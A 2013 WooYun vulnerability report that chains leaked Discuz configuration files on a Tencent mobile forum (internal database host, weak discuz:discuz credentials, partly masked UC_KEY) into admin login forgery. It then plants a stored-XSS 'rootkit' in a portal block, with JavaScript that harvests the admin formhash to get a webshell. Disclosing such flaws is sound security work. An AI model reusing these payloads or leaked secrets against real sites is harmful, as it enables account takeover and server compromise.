当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-045716

漏洞标题:又又一次可能失败的漫游腾讯网络过程 #3

相关厂商:腾讯

漏洞作者: 猪猪侠

提交时间:2013-12-12 12:09

修复时间:2013-12-12 13:50

公开时间:2013-12-12 13:50

漏洞类型:敏感信息泄露

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-12: 细节已通知厂商并且等待厂商处理中
2013-12-12: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

朋友们,猪猪侠又来了,这次由于撞洞,导致腾讯做了很大的漏洞修复行为,所以提前公开测试过程,不等待了!
http://www.wooyun.org/bugs/wooyun-2010-045388
依然是信息泄露带来的一系列安全连锁反应!
由于没有建立一个通用的标准和防御规则来保护好中间件配置信息、DNS信息、业务数据信息、用户信息、源码备份文件、版本管理工具信息、系统错误信息和敏感地址信息(后台或测试地址)的泄露,攻击者可能会通过收集这些保护不足的数据,利用这些信息对系统实施进一步的攻击。

详细说明:

#1 信息泄露成因
由于腾讯安全人员设计安全加固方案时,考虑到Discuz论坛的data目录会成为黑客频繁写入shell的区域,所以弄了一个安全规则,禁止data/目录下的所有php执行,但是又没有严格教研策略是否生效,直接导致了任意php文件下载风险,从而造成了更严重的信息安全威胁。
#2 泄露内容
文件1:http://bbs.m.qq.com/uc_server/data/config.inc.php

<?php
define('SUPERBBS_URL', 'http://admin.forum.discuz.qq.com/');
define('SUPERBBS_KEY', 'eba4*********9m71');
define('SUPERBBS_IP', '127.0.0.1');
define('CONFIG_TIMEOUT', 86400);
$domain = $_SERVER['HTTP_HOST'];
unset($_config);
if(strpos($domain, ':')) {
list($domain,) = explode(':', $domain);
}
$authkey = base64_encode(_authcode1(SUPERBBS_KEY, 'ENCODE', SUPERBBS_KEY, 300));
$config_prefix = $domain.'_';
$config_cache = UC_ROOT.'./data/'.$config_prefix.'config.inc.php';
if(file_exists($config_cache) && filemtime($config_cache) >= time() - CONFIG_TIMEOUT) {
include $config_cache;
}
// 待修改 临时方案
define('UC_DBHOST', $_ucconfig['UC_DBHOST']);
define('UC_DBUSER', $_ucconfig['UC_DBUSER']);
define('UC_DBPW', $_ucconfig['UC_DBPW']);
define('UC_DBNAME', $_ucconfig['UC_DBNAME']);
define('UC_DBCHARSET', $_ucconfig['UC_DBCHARSET']);
define('UC_DBTABLEPRE', $_ucconfig['UC_DBTABLEPRE']);
define('UC_COOKIEPATH', $_ucconfig['UC_COOKIEPATH']);
define('UC_COOKIEDOMAIN', $_ucconfig['UC_COOKIEDOMAIN']);
define('UC_DBCONNECT', $_ucconfig['UC_DBCONNECT']);
define('UC_CHARSET', $_ucconfig['UC_CHARSET']);
define('UC_FOUNDERPW', $_ucconfig['UC_FOUNDERPW']);
define('UC_FOUNDERSALT', $_ucconfig['UC_FOUNDERSALT']);
define('UC_KEY', $_ucconfig['UC_KEY']);
define('UC_SITEID', $_ucconfig['UC_SITEID']);
define('UC_MYKEY', $_ucconfig['UC_MYKEY']);
define('UC_DEBUG', $_ucconfig['UC_DEBUG']);
define('UC_PPP', $_ucconfig['UC_PPP']);
define('SITE_PREFIX', $_ucconfig['site_prefix']);
$_config['tfs'] = $_ucconfig['tfs'];


文件2:http://bbs.m.qq.com/uc_server/data/bbs.m.qq.com_config.inc.php

<?php 
if(!defined('IN_UC')) exit('Access Denied');
$_ucconfig=array (
'id' => '994f571e',
'UC_DBHOST' => '10.179.13.243:3331',
'UC_DBUSER' => 'discuz',
'UC_DBPW' => 'discuz',
'UC_DBNAME' => 'mqq_bbs',
'UC_DBCHARSET' => 'utf8',
'UC_DBTABLEPRE' => 'pre_ucenter_',
'UC_COOKIEPATH' => '/',
'UC_COOKIEDOMAIN' => '',
'UC_DBCONNECT' => '0',
'UC_CHARSET' => 'utf8',
'UC_FOUNDERPW' => '03253220**************8db9721',
'UC_FOUNDERSALT' => '5at8t4',
'UC_KEY' => '080cD503r6X5w0x7**************cT6t05d02Bdv64b4c',
'UC_SITEID' => 'Wa48r4l2397fie65wcxf606**************79934bxc8fCc686ex4k17b32',
'UC_MYKEY' => '2aW8g4u2q9kfte25eccf**************3GbTcZfccX8wec481ub22',
'UC_DEBUG' => '0',
'UC_PPP' => '20',
'tfs' =>
array (
'pic_server_ip' => '10.152.**.***',
'pic_server_port' => '13000',
'pic_business_id' => 'txdiscuz',
'pic_domain' => 'shp.qlogo.cn',
'prefix' => '',
),
'site_prefix' => '994f571e',
);


#3 UC_KEY的泄露
我们都知道UC_KEY的泄露是致命的,具体参照:
WooYun: 又一次失败的漫游腾讯内部网络过程 #2
利用Discuz的天生缺陷,前台登陆任意用户

$code = 'time='.$time.'&uid=1&username=admin&action=synlogin';


bbs.m.qq.com_1.jpg


#4 天时地利人和
这里,我们发现一个特别操蛋的细节,你猜是什么?
配置文件内的数据库用户名、数据库密码是那么的随便,有木有?discuz:discuz
于是我尝试了一下admin的密码,结果你们猜怎么着?密码居然是:123456

bbs.m.qq.com_2.jpg


很明显,连腾讯都难逃这个大公司诟病的宿命: WooYun: 大公司诟病系列#1 重置京东任意用户密码
#5 继续的利用
很多人可能会说了,有管理员的密码,为什么不登陆后台拿shell呢?
http://bbs.m.qq.com/admin.php,其实我也想啊,只可惜加固了,访问不到网络环境!

bbs.m.qq.com_admin.jpg


这样的话,是否该放弃了吗?NO!安全对抗这条路生生不息,思路千千万,总有一条方法能有用!
#6 继续摸索
我发现了Discuz的云平台前台有个:编辑模块管理->应用推荐 功能
http://bbs.m.qq.com/portal.php?mod=portalcp&ac=block&op=block&bid=3
可以插入任意HTML,那就留下一个XSS_ROOTKIT吧!

bbs.m.qq.com_xssrootkit.jpg


漏洞证明:

#7 搞SHELL思路
我们都知道坑爹的Discuz在登陆后台admin.php时,默认是不校验验证码的,只要你有loginhash、用户名、密码就能轻松登陆后台
#8 具体流程图

tencent.png


#9 代码实现

// 获取论坛URL
var siteurl = document.URL;
siteurl = siteurl.replace(/(.*\/){0,}([^\.]+).*/ig,"$1");
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
} else if(window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++) {
try {
request = new ActiveXObject(versions[i]);
} catch(e) {}
}
}
xmlhttp=request;
// 获取FORMHASH
xmlhttp.open("GET", siteurl+"admin.php?action=domain", false);
xmlhttp.send(null);
var datas = xmlhttp.responseText;
var reg = / name=\"formhash\" value=\"([\w\d]+)\"/i;
var arr = reg.exec(datas);
var formhash = arr[1];


#10 借刀杀人
现在你要做的只是等待,等待一个能够访问admin.php的腾讯内部人员,帮你获取WEBSHELL, COOKIE就算了,哎,这是借刀杀人!

bbs.m.qq.com_cookie.jpg

修复方案:

#1 网络边界需要认真对待。
#2 杜绝为了方便而造成的不必要的信息泄露。
#3 杜绝为了方便而造成的不必要的弱口令。
#4 安全是一个整体,保证安全不在于强大的地方有多强大,而在于真正薄弱的地方在哪里。

版权声明:转载请注明来源 猪猪侠@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2013-12-12 13:50

厂商回复:

在我们接到 http://www.wooyun.org/bugs/wooyun-2010-045388 这个报告之后,除了修复漏洞以外,立刻对整个公司的Discuz业务进行了排查和修补。这里的case当时已经修复。

漏洞Rank:12 (WooYun评价)

最新状态:

暂无